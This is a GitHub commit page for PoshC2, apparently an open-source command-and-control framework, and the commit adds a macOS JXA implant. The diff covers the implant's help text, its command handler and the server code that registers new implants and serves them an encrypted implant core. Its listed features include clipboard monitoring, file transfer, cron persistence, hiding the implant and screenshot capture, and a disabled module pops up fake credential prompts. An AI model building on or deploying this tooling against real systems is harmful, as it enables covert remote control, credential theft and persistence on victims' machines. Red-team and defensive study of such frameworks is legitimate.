Skip to content

Commit

Permalink
Initial JXA Implant
Browse files Browse the repository at this point in the history
  • Loading branch information
l0gan authored and riskydissonance committed Apr 9, 2021
1 parent 9870d2e commit d9f487a
Show file tree
Hide file tree
Showing 15 changed files with 3,770 additions and 15 deletions.
50 changes: 50 additions & 0 deletions poshc2/client/Help.py
Original file line number Diff line number Diff line change
Expand Up @@ -54,6 +54,55 @@
quit
"""

jxa_help = """
* Implant Features:
====================
ps
beacon 60s / beacon 10m / beacon 2h
run-jxa HealthInspector.js Persistent_Dock_Apps()
clipboard-monitor 60 # Causes implant to monitor clipboard changes for a set time (in seconds)
upload-file # then prompts for target and destination
upload-file -source /tmp/test.exe -destination 'c:\\temp\\test.exe'
download-file 'C:\\temp\\interesting-file.txt'
kill-implant
help
searchhelp persistence
back
label-implant <newlabel>
remove-label
quit
"""

linux_help = """
* Implant Features:
====================
ps
startanotherimplant or sai
startanotherimplant-keepfile
beacon 60s / beacon 10m / beacon 2h
turtle 60s / turtle 10m / turtle 2h
python print "This is a test"
listmodules
set-timeout # Set timeout for command execution (in seconds - default 120)
runmodule # Send python module to be executed
upload-file # then prompts for target and destination
upload-file -source /tmp/test -destination /temp/test
download-file '/tmp/interesting-file.txt'
install-persistence-cron
remove-persistence-cron
kill-implant
hide-implant
unhide-implant
help
searchhelp persistence
searchhistory invoke-mimikatz
back
label-implant <newlabel>
remove-label
linuxprivchecker
quit
"""

sharp_help = """
* Implant Features:
====================
Expand Down Expand Up @@ -603,3 +652,4 @@ def build_help(help_string):
POSH_COMMANDS = build_help(posh_help)
PY_COMMANDS = build_help(py_help)
SHARP_COMMANDS = build_help(sharp_help)
JXA_COMMANDS = build_help(jxa_help)
10 changes: 9 additions & 1 deletion poshc2/client/command_handlers/ImplantHandler.py
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
from prompt_toolkit.styles import Style

from poshc2.client.Help import SERVER_COMMANDS, PY_COMMANDS, SHARP_COMMANDS, POSH_COMMANDS, server_help
from poshc2.client.Help import SERVER_COMMANDS, PY_COMMANDS, SHARP_COMMANDS, POSH_COMMANDS, JXA_COMMANDS, server_help
from poshc2.Colours import Colours
from poshc2.server.Config import PayloadsDirectory, PoshProjectDirectory, ReportsDirectory, ModulesDirectory, Database, DatabaseType
from poshc2.server.Config import PBindPipeName, PBindSecret, PayloadCommsHost, DomainFrontHeader, FCommFileName
Expand All @@ -16,6 +16,7 @@
from poshc2.client.reporting.CSV import generate_csv
from poshc2.server.payloads.Payloads import Payloads
from poshc2.Utils import validate_sleep_time, randomuri, parse_creds, validate_killdate, string_to_array, get_first_url, yes_no_prompt, no_yes_prompt, validate_timestamp_string
from poshc2.client.command_handlers.JxaHandler import handle_jxa_command
from poshc2.client.command_handlers.PyHandler import handle_py_command
from poshc2.client.command_handlers.SharpHandler import handle_sharp_command
from poshc2.client.command_handlers.PSHandler import handle_ps_command
Expand Down Expand Up @@ -49,6 +50,8 @@ def get_implant_type_prompt_prefix(implant_id):
pivot = "C#"
elif pivot_original.startswith("Python"):
pivot = "PY"
elif pivot_original.startswith("JXA"):
pivot = "JXA"
if "Daisy" in pivot_original:
pivot = pivot + ";D"
if "Proxy" in pivot_original:
Expand Down Expand Up @@ -359,6 +362,9 @@ def run_implant_command(command, randomuri, implant_id, user):
elif implant_type.startswith("C#"):
handle_sharp_command(command, user, randomuri, implant_id)
return
elif implant_type.startswith("JXA"):
handle_jxa_command(command, user, randomuri, implant_id)
return
else:
handle_ps_command(command, user, randomuri, implant_id)
return
Expand Down Expand Up @@ -389,6 +395,8 @@ def implant_command_loop(implant_id, user):
prompt_commands = POSH_COMMANDS
if implant.Pivot.startswith('Python'):
prompt_commands = PY_COMMANDS
if implant.Pivot.startswith('JXA'):
prompt_commands = JXA_COMMANDS
if implant.Pivot.startswith('C#'):
prompt_commands = SHARP_COMMANDS
if 'PB' in implant.Pivot:
Expand Down
196 changes: 196 additions & 0 deletions poshc2/client/command_handlers/JxaHandler.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,196 @@
import base64, re, traceback, os
from prompt_toolkit import PromptSession
from prompt_toolkit.history import FileHistory
from prompt_toolkit.auto_suggest import AutoSuggestFromHistory
from prompt_toolkit.styles import Style

#from poshc2.client.Alias import py_alias
from poshc2.Colours import Colours
from poshc2.Utils import argp
from poshc2.server.AutoLoads import check_module_loaded
from poshc2.client.Help import jxa_help
from poshc2.server.Config import ModulesDirectory, PayloadsDirectory, PoshProjectDirectory
from poshc2.server.Core import print_bad
from poshc2.client.cli.CommandPromptCompleter import FilePathCompleter
from poshc2.server.database.DB import new_task, kill_implant, get_implantdetails, get_pid


def handle_jxa_command(command, user, randomuri, implant_id):

command = command.strip()

if command.startswith("searchhelp"):
do_searchhelp(user, command, randomuri)
return
elif command.startswith("searchhistory"):
do_searchhistory(user, command, randomuri)
return
elif command == "listmodules":
do_listmodules(user, command, randomuri)
return
elif command.startswith("upload-file"): #take contents an call write-file
do_upload_file(user, command, randomuri)
return
elif command == "help":
print(jxa_help)
return
elif command.startswith("clipboard-monitor"):
do_clipboardmonitor(user, command, randomuri)
return
elif command.startswith("run-jxa"):
do_runjxa(user, command, randomuri)
return
elif command.startswith("get-screenshot"):
do_get_screenshot(user, command, randomuri)
return
#elif command.startswith("cred-popper"): #This has a bug. Keeps window open.
# do_credpopper(user, command, randomuri)
# return
elif command == "kill-implant" or command == "exit":
do_kill_implant(user, command, randomuri)
return
elif command.endswith(")"):
do_runmodule(user, command, randomuri)
return
else:
if command:
do_shell(user, command, randomuri)
return


def do_searchhistory(user, command, randomuri):
searchterm = (command).replace("searchhistory ", "")
with open('%s/.implant-history' % PoshProjectDirectory) as hisfile:
for line in hisfile:
if searchterm in line.lower():
print(Colours.GREEN + line.replace("+",""))


def do_searchhelp(user, command, randomuri):
searchterm = (command).replace("searchhelp ", "")
helpful = py_help.split('\n')
for line in helpful:
if searchterm in line.lower():
print(Colours.GREEN + line)


def do_clipboardmonitor(user, command, randomuri):
runtime = (command).replace("clipboard-monitor ", "")
jxa_file = open(ModulesDirectory + "clipboard_monitor.js", "r").read()
# Replace the runtime with the specified value
jxa_file = jxa_file % (runtime)
base64string = base64.b64encode(jxa_file.encode("utf-8")).decode("utf-8")
taskcmd = f"{command} #{base64string}"
new_task(taskcmd, user, randomuri)

def do_credpopper(user, command, randomuri):
title = (command).replace("cred-popper ","").split("'")[1]
text = (command).replace("cred-popper ","").split("'")[3]
icon = (command).replace("cred-popper ","").split("'")[5]
jxa_file = open(ModulesDirectory + "cred-popper.js", "r").read()
jxa_file = jxa_file % (title, text, icon)
base64string = base64.b64encode(jxa_file.encode("utf-8")).decode("utf-8")
taskcmd = f"{command} #{base64string}"
new_task(taskcmd, user, randomuri)

def do_listmodules(user, command, randomuri):
modules = os.listdir(ModulesDirectory)
modules = sorted(modules, key=lambda s: s.lower())
print("")
print("[+] Available modules:")
print("")
for mod in modules:
if ".js" in mod:
print(mod)

def do_upload_file(user, command, randomuri):
source = ""
destination = ""
if command == "upload-file":
style = Style.from_dict({
'': '#80d130',
})
session = PromptSession(history=FileHistory('%s/.upload-history' % PoshProjectDirectory), auto_suggest=AutoSuggestFromHistory(), style=style)
try:
source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*"))
source = PayloadsDirectory + source
except KeyboardInterrupt:
return
while not os.path.isfile(source):
print("File does not exist: %s" % source)
source = session.prompt("Location file to upload: ", completer=FilePathCompleter(PayloadsDirectory, glob="*"))
source = PayloadsDirectory + source
destination = session.prompt("Location to upload to: ")
else:
args = argp(command)
source = args.source
destination = args.destination
try:

destination = destination.replace("\\", "\\\\")
print("")
print("Uploading %s to %s" % (source, destination))
uploadcommand = f"upload-file {source} {destination}"
new_task(uploadcommand, user, randomuri)
except Exception as e:
print("Error with source file: %s" % e)
traceback.print_exc()


def do_help(user, command, randomuri):
print(jxa_help)


def do_loadmoduleforce(user, command, randomuri):
params = re.compile("loadmoduleforce ", re.IGNORECASE)
params = params.sub("", command)
check_module_loaded(params, randomuri, user, force=True)

def do_runjxa(user, command, randomuri):
params = re.compile("run-jxa ", re.IGNORECASE)
params = params.sub("", command)
jxa_function = params.split(" ")[1]
jxa_file = params.split(" ")[0]
jxa_file = open(ModulesDirectory + jxa_file, "r").read()
jxa_file = jxa_file + "\n " + jxa_function
base64string = base64.b64encode(jxa_file.encode("utf-8")).decode("utf-8")
taskcmd = f"{command} #{base64string}"
new_task(taskcmd, user, randomuri)

def do_runmodule(user, command, randomuri):
taskcmd = "run-module " + command + ";"
new_task(taskcmd, user, randomuri)

def do_loadmodule(user, command, randomuri):
params = re.compile("loadmodule ", re.IGNORECASE)
params = params.sub("", command)
check_module_loaded(params, randomuri, user)


def do_get_screenshot(user, command, randomuri):
taskcmd = "screencapture -Cx /Users/Shared/a.png" #OPSEC, this will cause a popup the first time it is run. If denied, will only capture the background.
# Capture screen (mute sounds), download image, delete image
new_task(taskcmd, user, randomuri)


def do_kill_implant(user, command, randomuri):
impid = get_implantdetails(randomuri)
ri = input("Are you sure you want to terminate the implant ID %s? (Y/n) " % impid.ImplantID)
if ri.lower() == "n":
print("Implant not terminated")
if ri == "":
pid = get_pid(randomuri)
new_task("kill -9 %s" % pid, user, randomuri)
kill_implant(randomuri)
if ri.lower() == "y":
pid = get_pid(randomuri)
new_task("kill -9 %s" % pid, user, randomuri)
kill_implant(randomuri)


def do_exit(user, command, randomuri):
return do_kill_implant(user, command, randomuri)


def do_shell(user, command, randomuri):
new_task(command, user, randomuri)
18 changes: 17 additions & 1 deletion poshc2/server/C2Server.py
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@
from poshc2.server.Config import PoshProjectDirectory, ServerHeader, PayloadsDirectory, GET_404_Response, DownloadsDirectory, Database, PayloadCommsHost, SocksHost
from poshc2.server.Config import QuickCommand, KillDate, DefaultSleep, DomainFrontHeader, urlConfig, BindIP, BindPort
from poshc2.server.Config import DownloadURI, URLS, SocksURLS, Insecure, UserAgent, Referrer, Pushover_APIToken
from poshc2.server.Config import Pushover_APIUser, Slack_UserID, Slack_Channel, Slack_BotToken, EnableNotifications, DatabaseType
from poshc2.server.Config import Pushover_APIUser, Slack_UserID, Slack_Channel, Slack_BotToken, EnableNotifications, DatabaseType
from poshc2.server.Cert import create_self_signed_cert
from poshc2.client.Help import logopic
from poshc2.Utils import validate_sleep_time, randomuri, gen_key
Expand Down Expand Up @@ -164,6 +164,8 @@ def do_GET(self):
implant_type = "C# Daisy"
if self.path == ("%s?p?c" % new_implant_url):
implant_type = "C# Proxy"
if self.path == ("%s?j" % new_implant_url):
implant_type = "JXA"

if implant_type.startswith("C#"):
cookieVal = (self.cookieHeader).replace("SessionID=", "")
Expand All @@ -189,6 +191,20 @@ def do_GET(self):
newImplant.save()
newImplant.display()
response_content = encrypt(KEY, newImplant.PythonCore)

elif implant_type.startswith("JXA"):
cookieVal = (self.cookieHeader).replace("SessionID=", "")
decCookie = decrypt(KEY, cookieVal)
IPAddress = "%s:%s" % (self.client_address[0], self.client_address[1])
User, Hostname, PID, URLID = decCookie.split(";")
Domain = Hostname
URLID = URLID.replace("\x00", "")
URLID = URLID.replace("\x07", "")
newImplant = Implant(IPAddress, implant_type, str(Domain), str(User), str(Hostname), "x64", PID, URLID)
newImplant.save()
newImplant.display()
response_content = encrypt(KEY, newImplant.JXACore)

else:
try:
cookieVal = (self.cookieHeader).replace("SessionID=", "")
Expand Down
12 changes: 6 additions & 6 deletions poshc2/server/Core.py
Original file line number Diff line number Diff line change
Expand Up @@ -100,12 +100,12 @@ def encrypt(key, data, gzipdata=False):

# Pad with zeros
mod = len(data) % 16
if mod != 0:
newlen = len(data) + (16 - mod)
try:
data = data.ljust(newlen, '\0')
except TypeError:
data = data.ljust(newlen, bytes('\0', "utf-8"))
#if mod != 0:
newlen = len(data) + (16 - mod)
try:
data = data.ljust(newlen, '\0')
except TypeError:
data = data.ljust(newlen, bytes('\0', "utf-8"))
aes = get_encryption(key, os.urandom(16))
data = aes.IV + aes.encrypt(data)
if not gzipdata:
Expand Down
4 changes: 3 additions & 1 deletion poshc2/server/Implant.py
Original file line number Diff line number Diff line change
Expand Up @@ -50,6 +50,8 @@ def __init__(self, ipaddress, pivot, domain, user, hostname, arch, pid, URLID):
self.PythonCore = py_implant_core % (self.DomainFrontHeader, self.Sleep, self.AllBeaconImages, self.AllBeaconURLs, self.KillDate, self.PythonImplant, self.Jitter, self.Key, self.RandomURI, self.UserAgent)
ps_implant_core = open("%s/Implant-Core.ps1" % PayloadTemplatesDirectory, 'r').read()
self.PSCore = ps_implant_core % (self.Key, self.Jitter, self.Sleep, self.AllBeaconImages, self.RandomURI, self.RandomURI, self.KillDate, self.AllBeaconURLs) # Add all db elements def display(self):
jxa_implant_core = open("%s/Implant-Core.js" % PayloadTemplatesDirectory, 'r').read()
self.JXACore = jxa_implant_core % (self.Key, self.Jitter, self.Sleep, self.AllBeaconImages, self.RandomURI, self.ServerURL, self.KillDate, self.AllBeaconURLs)
# Add all db elements

def display(self):
Expand Down Expand Up @@ -122,7 +124,7 @@ def autoruns(self):
new_task("loadmodule Stage2-Core.exe", "autoruns", self.RandomURI)
new_task("loadmodule PwrStatusTracker.dll", "autoruns", self.RandomURI)
new_task("loadpowerstatus", "autoruns", self.RandomURI)
update_mods("Stage2-Core.exe PwrStatusTracker.dll", self.RandomURI)
update_mods("Stage2-Core.exe PwrStatusTracker.dll", self.RandomURI)
update_label("PSM", self.RandomURI)
if "PS" in self.Pivot:
new_task("loadmodule Stage2-Core.ps1", "autoruns", self.RandomURI)
Expand Down
Loading

0 comments on commit d9f487a

Please sign in to comment.